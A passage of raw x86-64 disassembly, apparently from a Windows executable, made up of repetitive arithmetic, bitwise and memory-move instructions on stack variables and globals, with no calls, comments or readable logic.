and eax, ecx
mov word [0x140178e90], ax
lea rax, [rsp + 0xa14]
mov qword [rsp + 0x6850], rax
mov rax, qword [rsp + 0x5430]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x5340]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6090]
mov byte [rcx], al
movzx eax, word [0x140178edc]
mov word [rsp + 0xb98], ax
mov rax, qword [rsp + 0x6000]
mov rcx, qword [rsp + 0x59d8]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x6630], rax
mov rax, qword [rsp + 0x5c30]
mov rcx, qword [rsp + 0x5588]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x6168], rax
lea rax, [rsp + 0x2bb4]
mov qword [rsp + 0x6858], rax
mov eax, dword [rsp + 0x2c0c]
mov ecx, dword [rsp + 0x2c60]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2be0], eax
movzx eax, byte [rsp + 0xa0]
mov byte [rsp + 0x126], al
lea rax, [0x140178e5e]
mov qword [0x14017a3e8], rax
movsx eax, word [rsp + 0x8ac]
movsx ecx, word [rsp + 0x970]
add eax, ecx
mov rcx, qword [rsp + 0x53e8]
mov word [rcx], ax
mov rax, qword [rsp + 0x6610]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xeb]
and eax, ecx
mov rcx, qword [rsp + 0x5128]
mov byte [rcx], al
movzx eax, word [rsp + 0xa68]
mov word [rsp + 0xb9c], ax
movzx eax, byte [rsp + 0xc4]
movzx ecx, byte [rsp + 0x82]
sub eax, ecx
mov byte [rsp + 0xb0], al
mov rax, qword [rsp + 0x5c10]
mov eax, dword [rax]
mov dword [rsp + 0x2d18], eax
mov rax, qword [0x140178e60]
mov rcx, qword [rsp + 0x6390]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x62b0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x55b8]
mov eax, dword [rax]
mov dword [rsp + 0x2d1c], eax
mov rax, qword [rsp + 0x61b8]
mov rcx, qword [rsp + 0x5fb0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x5c48], rax
lea rax, [0x140178e70]
mov qword [0x14017a3f0], rax
movzx eax, word [rsp + 0xa4c]
movzx ecx, word [rsp + 0x990]
shl eax, cl
mov word [rsp + 0xa04], ax
lea rax, [rsp + 0x124]
mov qword [rsp + 0x6860], rax
mov rax, qword [rsp + 0x6218]
movzx eax, word [rax]
mov rcx, qword [0x14017a3a0]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x8d8], ax
movzx eax, word [rsp + 0xb24]
mov word [rsp + 0xba0], ax
mov rax, qword [rsp + 0x64c8]
movzx ecx, al
mov rax, qword [rsp + 0x5d60]
shr rax, cl
mov rcx, qword [rsp + 0x4c68]
mov qword [rcx], rax
mov rax, qword [rsp + 0x65c0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2c98]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x2b84], eax
lea rax, [rsp + 0x6630]
mov qword [rsp + 0x6868], rax
mov rax, qword [rsp + 0x5160]
mov rcx, qword [rsp + 0x5db0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x2cd8], eax
mov rax, qword [rsp + 0x5010]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x5598]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x140178ea2], al
lea rax, [rsp + 0x88c]
mov qword [rsp + 0x6870], rax
movzx eax, word [rsp + 0xb38]
mov rcx, qword [rsp + 0x5640]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xb7c], ax
movsx eax, byte [rsp + 0xcd]
movsx ecx, byte [rsp + 0x5c]
sub eax, ecx
mov byte [rsp + 0x56], al
lea rax, [rsp + 0xf0]
mov qword [rsp + 0x6878], rax
mov rax, qword [rsp + 0x51d0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x60d8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x61b8]
mov qword [rcx], rax
lea rax, [0x140178e6c]
mov qword [rsp + 0x6880], rax
mov rax, qword [rsp + 0x63d0]
mov rcx, qword [rsp + 0x5cd8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x6120]
mov dword [rcx], eax
mov rax, qword [rsp + 0x56b8]
mov rcx, qword [rsp + 0x5ef8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x5e90]
mov qword [rcx], rax
lea rax, [rsp + 0xc0]
mov qword [0x14017a3f8], rax
mov rax, qword [rsp + 0x5f90]
movzx eax, byte [rax]
mov byte [rsp + 0x127], al
mov rax, qword [rsp + 0x5b28]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x88c]
and eax, ecx
mov word [rsp + 0x8d4], ax
lea rax, [rsp + 0xe2]
mov qword [rsp + 0x6888], rax
movzx eax, word [rsp + 0xb78]
mov rcx, qword [rsp + 0x5e00]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x64b0]
mov word [rcx], ax
mov rax, qword [rsp + 0x5af8]
mov rax, qword [rax]
mov qword [rsp + 0x6890], rax
mov rax, qword [rsp + 0x66d8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x4fd0]
shr rax, cl
mov qword [rsp + 0x4aa0], rax
mov rax, qword [rsp + 0x5cb8]
mov ecx, dword [rsp + 0x2cbc]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x55b8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x57a0]
mov eax, dword [rax]
mov dword [rsp + 0x2d20], eax
movsx eax, word [rsp + 0xa30]
movsx ecx, word [rsp + 0x99c]
xor eax, ecx
mov word [0x140178ed8], ax
movzx eax, word [rsp + 0x864]
movzx ecx, word [rsp + 0x9b4]
shl eax, cl
mov rcx, qword [rsp + 0x4d70]
mov word [rcx], ax
lea rax, [rsp + 0xa1]
mov qword [rsp + 0x6898], rax
movzx eax, byte [rsp + 0x8b]
movzx ecx, byte [0x14017a054]
sub eax, ecx
mov byte [rsp + 0x8e], al
movsx eax, word [rsp + 0x98c]
movsx ecx, word [rsp + 0x9e4]
and eax, ecx
mov rcx, qword [rsp + 0x59e8]
mov word [rcx], ax
lea rax, [rsp + 0x5ed8]
mov qword [rsp + 0x68a0], rax
mov rax, qword [rsp + 0x5aa8]
mov rcx, qword [rsp + 0x5da8]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x4c28]
mov qword [rcx], rax
lea rax, [rsp + 0x2d18]
mov qword [rsp + 0x68a8], rax
mov rax, qword [rsp + 0x4e80]
mov ecx, dword [rsp + 0x2c08]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2be8], eax
mov rax, qword [rsp + 0x6460]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x5d00]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [0x140178ec6], al
movzx eax, word [rsp + 0xa70]
movzx ecx, word [rsp + 0xaac]
add eax, ecx
mov word [rsp + 0xb90], ax
movzx eax, byte [rsp + 0xbc]
mov byte [rsp + 0x128], al
movzx eax, word [0x140178e68]
mov rcx, qword [rsp + 0x6578]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xb04], ax
mov rax, qword [rsp + 0x6460]
movzx eax, byte [rax]
mov byte [rsp + 0x129], al
mov rax, qword [rsp + 0x5aa8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x62a8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x6338], rax
mov eax, dword [rsp + 0x2ccc]
mov ecx, dword [rsp + 0x2cfc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2aa8], eax
lea rax, [rsp + 0x2b68]
mov qword [rsp + 0x68b0], rax
mov rax, qword [rsp + 0x6108]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5210]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x6288], rax
mov rax, qword [rsp + 0x5868]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x8f4]
or eax, ecx
mov word [0x140178efc], ax
movzx eax, word [rsp + 0x9c4]
mov word [rsp + 0xba4], ax
movsx eax, byte [rsp + 0x68]
movsx ecx, byte [rsp + 0xfc]
xor eax, ecx
mov byte [rsp + 0x56], al
movzx eax, word [str._v_]
mov word [rsp + 0xba8], ax
mov rax, qword [rsp + 0x4ff8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4df0]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x67e0]
mov byte [rcx], al
mov eax, dword [0x140178e6c]
mov rcx, qword [rsp + 0x5730]
mov qword [rsp + 0x68b8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x68b8]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x2a6c], eax
mov rax, qword [rsp + 0x50c8]
mov rax, qword [rax]
mov qword [rsp + 0x68c0], rax
mov rax, qword [rsp + 0x5e90]
mov rcx, qword [rsp + 0x5e88]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x56e8], rax
mov rax, qword [rsp + 0x6510]
mov eax, dword [rax]
mov dword [rsp + 0x2d24], eax
movzx eax, word [rsp + 0xaa0]
mov rcx, qword [rsp + 0x4d70]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x14017a0f8], ax
movzx eax, byte [rsp + 0xfa]
movzx ecx, byte [rsp + 0xa4]
and eax, ecx
mov byte [rsp + 0xbc], al
movsx eax, byte [rsp + 0xf2]
movsx ecx, byte [rsp + 0x92]
sub eax, ecx
mov rcx, qword [rsp + 0x55a0]
mov byte [rcx], al
lea rax, [rsp + 0x8dc]
mov qword [rsp + 0x68c8], rax
movzx eax, byte [rsp + 0xd3]
movzx ecx, byte [rsp + 0x8d]
sub eax, ecx
mov byte [rsp + 0xf0], al
mov rax, qword [rsp + 0x5af8]
mov rax, qword [rax]
mov qword [rsp + 0x68d0], rax
mov eax, dword [rsp + 0x2cdc]
mov ecx, dword [rsp + 0x2d08]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2be8], eax
mov rax, qword [rsp + 0x5b20]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5278]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x5180], rax
lea rax, [0x14017a064]
mov qword [rsp + 0x68d8], rax
mov rax, qword [rsp + 0x5e18]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x66b0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xb34], ax
lea rax, [rsp + 0x55]
mov qword [0x14017a400], rax
movzx eax, word [rsp + 0x928]
mov word [rsp + 0xbac], ax
movzx eax, byte [rsp + 0x127]
movzx ecx, byte [rsp + 0x95]
add eax, ecx
mov rcx, qword [rsp + 0x5488]
mov byte [rcx], al
movzx eax, word [rsp + 0xafc]
mov word [rsp + 0xbb0], ax
mov rax, qword [rsp + 0x5238]
mov ecx, dword [rsp + 0x2b04]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x5200]
mov dword [rcx], eax
mov eax, dword [rsp + 0x2b1c]
mov ecx, dword [rsp + 0x2b94]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x53a0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5410]
mov rax, qword [rax]
mov qword [rsp + 0x68e0], rax
mov rax, qword [rsp + 0x6058]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x5138]
shl rax, cl
mov qword [rsp + 0x5bf8], rax
lea rax, [0x14017a0cb]
mov qword [rsp + 0x68e8], rax
movzx eax, byte [rsp + 0xe9]
mov rcx, qword [rsp + 0x62b8]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [0x14017a090]
mov byte [rcx], al
movsx eax, word [rsp + 0xb24]
movsx ecx, word [rsp + 0xa58]
or eax, ecx
mov word [rsp + 0x9f8], ax
mov rax, qword [rsp + 0x6200]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xd8]
sar eax, cl
mov rcx, qword [rsp + 0x5be0]
mov byte [rcx], al
movzx eax, word [rsp + 0x864]
mov word [rsp + 0xbb4], ax
mov rax, qword [rsp + 0x57d8]
mov rcx, qword [rsp + 0x5438]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x5b20]
mov qword [rcx], rax
lea rax, [rsp + 0x2b7c]
mov qword [rsp + 0x68f0], rax
mov rax, qword [rsp + 0x5080]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5610]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5740]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2c58]
mov ecx, dword [rsp + 0x2b0c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2bb8], eax
movzx eax, byte [rsp + 0x8f]
mov byte [rsp + 0x12a], al
lea rax, [rsp + 0x104]
mov qword [0x14017a408], rax
mov rax, qword [rsp + 0x6828]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xadc]
and eax, ecx
mov rcx, qword [rsp + 0x6220]
mov word [rcx], ax
mov rax, qword [rsp + 0x5ed0]
movzx eax, byte [rax]
mov byte [rsp + 0x12b], al
mov rax, qword [rsp + 0x5d10]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x65d0]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4cd8]
mov word [rcx], ax
mov rax, qword [rsp + 0x4c80]
mov rcx, qword [rsp + 0x6868]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x56a8]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2c48]
mov dword [rsp + 0x2d28], eax
mov rax, qword [rsp + 0x61c8]
mov rcx, qword [rsp + 0x6358]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x5b20]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2c18]
mov dword [rsp + 0x2d2c], eax
movzx eax, word [0x14017a260]
movzx ecx, word [rsp + 0x9d4]
add eax, ecx
mov word [rsp + 0xaa4], ax
lea rax, [rsp + 0xb1]
mov qword [0x14017a410], rax
lea rax, [rsp + 0xc5]
mov qword [rsp + 0x68f8], rax
movsx eax, word [rsp + 0xba4]
movsx ecx, word [0x140178ed0]
add eax, ecx
mov rcx, qword [rsp + 0x53d8]
mov word [rcx], ax
movzx eax, word [rsp + 0xa08]
movzx ecx, word [rsp + 0x884]
xor eax, ecx
mov rcx, qword [rsp + 0x6408]
mov word [rcx], ax
lea rax, [rsp + 0x5d]
mov qword [rsp + 0x6900], rax
mov eax, dword [0x140178e6c]
mov rcx, qword [rsp + 0x5020]
mov qword [rsp + 0x6908], rcx
movzx ecx, al
mov rax, qword [rsp + 0x6908]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x60f0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x52b8]
mov qword [rsp + 0x6910], rax
mov rax, qword [rsp + 0x5738]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2c88]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x2b0c], eax
mov rax, qword [0x140178e60]
movzx ecx, al
mov rax, qword [rsp + 0x62c0]
shl rax, cl
mov qword [rsp + 0x57f0], rax
mov rax, qword [rsp + 0x5e18]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x5c50]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [0x14017a2b0]
mov word [rcx], ax
movzx eax, byte [rsp + 0x95]
mov byte [rsp + 0x12c], al
movzx eax, word [rsp + 0xb1c]
movzx ecx, word [rsp + 0xb44]
sub eax, ecx
mov rcx, qword [rsp + 0x51a8]
mov word [rcx], ax
lea rax, [rsp + 0x940]
mov qword [rsp + 0x6918], rax
movzx eax, word [rsp + 0x978]
movzx ecx, word [rsp + 0xacc]
sub eax, ecx
mov rcx, qword [rsp + 0x65d0]
mov word [rcx], ax
mov rax, qword [rsp + 0x5930]
mov rax, qword [rax]
mov rcx, qword [str.kD3]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x52a0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5060]
mov eax, dword [rax]
mov dword [rsp + 0x2d30], eax
mov rax, qword [rsp + 0x5cd8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2bd0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2c50], eax
lea rax, [rsp + 0x6318]
mov qword [rsp + 0x6920], rax
movzx eax, byte [rsp + 0xc1]
movzx ecx, byte [rsp + 0xb1]
and eax, ecx
mov byte [0x140178ec7], al
mov rax, qword [rsp + 0x6080]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xb5]
add eax, ecx
mov rcx, qword [rsp + 0x6878]
mov byte [rcx], al
movzx eax, word [0x140178e70]
mov word [rsp + 0xbb8], ax
movsx eax, byte [rsp + 0x117]
mov rcx, qword [rsp + 0x57c0]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6400]
mov byte [rcx], al
movsx eax, byte [rsp + 0xf6]
mov rcx, qword [0x14017a408]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x5b30]
mov byte [rcx], al
mov rax, qword [rsp + 0x5e68]
mov rax, qword [rax]
mov qword [rsp + 0x6928], rax
mov rax, qword [rsp + 0x5470]
mov rcx, qword [rsp + 0x61a8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2b10], eax
lea rax, [rsp + 0x5dd8]
mov qword [rsp + 0x6930], rax
mov eax, dword [rsp + 0x2b50]
movzx ecx, al
mov eax, dword [0x140178e8c]
shr eax, cl
mov dword [rsp + 0x2d20], eax
movsx eax, word [rsp + 0xa9c]
movsx ecx, word [rsp + 0x8f0]
xor eax, ecx
mov rcx, qword [0x14017a390]
mov word [rcx], ax
mov rax, qword [rsp + 0x6660]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xed]
or eax, ecx
mov byte [rsp + 0x69], al
mov rax, qword [rsp + 0x57d0]
movzx eax, byte [rax]
mov byte [rsp + 0x12d], al
movzx eax, word [rsp + 0x8c4]
movzx ecx, word [rsp + 0xb9c]
shl eax, cl
mov word [rsp + 0xb58], ax
lea rax, [rsp + 0x994]
mov qword [rsp + 0x6938], rax
mov rax, qword [rsp + 0x4aa8]
mov ecx, dword [rsp + 0x28bc]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x2a48], eax
mov eax, dword [rsp + 0x2a80]
mov ecx, dword [rsp + 0x2c6c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6098]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5b08]
mov rax, qword [rax]
mov qword [rsp + 0x6940], rax
mov rax, qword [rsp + 0x4fd8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4b88]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6170]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4fb0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x8e0]
sub eax, ecx
mov word [0x140178eac], ax
movzx eax, word [0x14017a1a0]
mov word [rsp + 0xbbc], ax
mov rax, qword [rsp + 0x65b0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xb7]
add eax, ecx
mov rcx, qword [rsp + 0x5e38]
mov byte [rcx], al
movzx eax, byte [rsp + 0x75]
mov rcx, qword [rsp + 0x5be0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x82], al
movzx eax, word [rsp + 0xa6c]
mov word [rsp + 0xbc0], ax
mov rax, qword [rsp + 0x53d0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2c9c]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5330]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5370]
mov rax, qword [rax]
mov qword [rsp + 0x6948], rax
mov rax, qword [rsp + 0x61e0]
mov ecx, dword [rsp + 0x2b3c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2ae0], eax
mov rax, qword [rsp + 0x5188]
mov rax, qword [rax]
mov qword [rsp + 0x6950], rax
movzx eax, word [rsp + 0x8f8]
mov word [0x14017a418], ax
mov rax, qword [rsp + 0x5c58]
movsx eax, byte [rax]
mov rcx, qword [0x14017a310]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xf3], al
movzx eax, word [rsp + 0x92c]
mov rcx, qword [rsp + 0x5478]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x5980]
mov word [rcx], ax
mov rax, qword [rsp + 0x6898]
movzx eax, byte [rax]
mov byte [rsp + 0x12e], al
mov rax, qword [rsp + 0x6528]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x8e4]
shl eax, cl
mov rcx, qword [rsp + 0x5800]
mov word [rcx], ax
mov eax, dword [rsp + 0x2c64]
mov dword [rsp + 0x2d34], eax
mov rax, qword [rsp + 0x64e8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x56b0]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5da0]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2bb8]
movzx ecx, al
mov eax, dword [rsp + 0x2bbc]
shr eax, cl
mov rcx, qword [rsp + 0x5310]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6840]
mov qword [rsp + 0x6958], rax
movzx eax, byte [rsp + 0x84]
mov rcx, qword [rsp + 0x4f30]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [0x14017a055], al
mov rax, qword [rsp + 0x65f0]
movzx eax, byte [rax]
movzx ecx, byte [0x140178e93]
and eax, ecx
mov byte [rsp + 0x118], al
movzx eax, word [rsp + 0xb84]
mov word [rsp + 0xbc4], ax
mov rax, qword [rsp + 0x53c8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x59]
sub eax, ecx
mov rcx, qword [rsp + 0x68f8]
mov byte [rcx], al
movzx eax, byte [0x140178ea2]
mov rcx, qword [rsp + 0x5520]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xb9], al
lea rax, [rsp + 0x2c3c]
mov qword [rsp + 0x6960], rax
mov rax, qword [rsp + 0x5628]
mov rcx, qword [rsp + 0x4ce8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x5c18], rax
mov eax, dword [rsp + 0x2a40]
mov dword [rsp + 0x2d38], eax
mov rax, qword [rsp + 0x4c28]
mov rcx, qword [rsp + 0x54a8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x63e0], rax
lea rax, [rsp + 0x9f0]
mov qword [0x14017a420], rax
movzx eax, word [rsp + 0xa5c]
mov rcx, qword [rsp + 0x60b0]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x52c0]
mov word [rcx], ax
mov rax, qword [rsp + 0x6550]
movzx eax, byte [rax]
mov byte [rsp + 0x12f], al
movsx eax, byte [rsp + 0x60]
movsx ecx, byte [rsp + 0x119]
add eax, ecx
mov rcx, qword [rsp + 0x6900]
mov byte [rcx], al
movzx eax, word [rsp + 0xa48]
mov word [rsp + 0xbc8], ax
mov rax, qword [rsp + 0x5740]
mov rcx, qword [rsp + 0x6170]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x5f88]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6708]
mov rax, qword [rax]
mov qword [rsp + 0x6968], rax
mov rax, qword [rsp + 0x6470]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2bf4]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4dc8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x68a8]
mov rcx, qword [rsp + 0x5790]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x5b58]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5780]
movzx eax, word [rax]
mov word [rsp + 0xbcc], ax
lea rax, [rsp + 0x105]
mov qword [0x14017a428], rax
mov rax, qword [0x14017a380]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x938]
shl eax, cl
mov rcx, qword [rsp + 0x68c8]
mov word [rcx], ax
lea rax, [rsp + 0x127]
mov qword [rsp + 0x6970], rax
movzx eax, word [rsp + 0xb0c]
mov rcx, qword [rsp + 0x4c20]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xb64], ax
mov rax, qword [rsp + 0x6198]
mov rcx, qword [rsp + 0x50b0]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x6238]
mov dword [rcx], eax
lea rax, [rsp + 0x5858]
mov qword [rsp + 0x6978], rax
mov rax, qword [rsp + 0x5160]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2cdc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2bac], eax
lea rax, [rsp + 0x5d88]
mov qword [rsp + 0x6980], rax
movsx eax, byte [rsp + 0x7e]
mov rcx, qword [rsp + 0x5d00]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0xfb], al
movzx eax, byte [rsp + 0xe0]
movzx ecx, byte [rsp + 0x110]
add eax, ecx
mov rcx, qword [0x14017a118]
mov byte [rcx], al
mov rax, qword [0x14017a1d8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xab8]
sub eax, ecx
mov rcx, qword [rsp + 0x5cb0]
mov word [rcx], ax
mov rax, qword [rsp + 0x5a18]
movzx eax, byte [rax]
mov byte [rsp + 0x130], al
movsx eax, byte [rsp + 0xce]
mov rcx, qword [0x14017a220]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x85], al
lea rax, [rsp + 0x6070]
mov qword [rsp + 0x6988], rax
mov rax, qword [rsp + 0x5b50]
mov rcx, qword [rsp + 0x5720]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x5fc0], rax
lea rax, [rsp + 0x2cd8]
mov qword [rsp + 0x6990], rax
mov rax, qword [rsp + 0x6140]
mov ecx, dword [rsp + 0x2a58]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x5ad0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x66f8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x112]
add eax, ecx
mov byte [rsp + 0x6a], al
mov rax, qword [rsp + 0x5868]
movsx eax, word [rax]
movsx ecx, word [0x140178ed0]
sub eax, ecx
mov word [0x140178f30], ax
mov rax, qword [rsp + 0x4d38]
movzx eax, word [rax]
mov word [rsp + 0xbd0], ax
mov rax, qword [rsp + 0x5040]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x5ea0]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x6628]
mov byte [rcx], al
movzx eax, word [rsp + 0x874]
mov word [rsp + 0xbd4], ax
mov rax, qword [rsp + 0x5e98]
mov rcx, qword [rsp + 0x5330]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x2afc], eax
mov rax, qword [rsp + 0x4c28]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x6538]
sar rax, cl
mov qword [rsp + 0x5920], rax
mov rax, qword [rsp + 0x5a48]
mov eax, dword [rax]
mov dword [rsp + 0x2d3c], eax
mov rax, qword [rsp + 0x60b8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5e40]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5b60]
mov qword [rcx], rax
mov rax, qword [rsp + 0x56d8]
movzx eax, word [rax]
mov word [rsp + 0xbd8], ax
movzx eax, word [rsp + 0xa64]
mov rcx, qword [rsp + 0x5660]
movzx ecx, word [rcx]
shl eax, cl
mov word [0x14017a200], ax
movzx eax, byte [rsp + 0x83]
mov rcx, qword [rsp + 0x5428]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xdb], al
movzx eax, word [rsp + 0x978]
mov rcx, qword [rsp + 0x4fb8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xa0c], ax
lea rax, [rsp + 0x121]
mov qword [rsp + 0x6998], rax
mov rax, qword [rsp + 0x5be0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xcc]
and eax, ecx
mov byte [rsp + 0x8b], al
mov rax, qword [rsp + 0x66d8]
mov rax, qword [rax]
mov qword [rsp + 0x69a0], rax
mov rax, qword [rsp + 0x4c80]
mov rcx, qword [str.kD3]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x5b88], rax
mov rax, qword [rsp + 0x65e0]
mov ecx, dword [rsp + 0x2ce4]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2a7c], eax
lea rax, [rsp + 0x2c44]
mov qword [rsp + 0x69a8], rax
lea rax, [rsp + 0xb50]
mov qword [0x14017a430], rax
mov rax, qword [rsp + 0x5630]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x5908]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4e08]
mov word [rcx], ax
mov rax, qword [rsp + 0x5bc8]
movzx eax, byte [rax]
mov byte [rsp + 0x131], al
movsx eax, byte [rsp + 0x119]
mov rcx, qword [rsp + 0x5fa8]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6400]
mov byte [rcx], al
mov rax, qword [rsp + 0x4c58]
movzx eax, byte [rax]
mov byte [rsp + 0x132], al
mov rax, qword [rsp + 0x50a0]
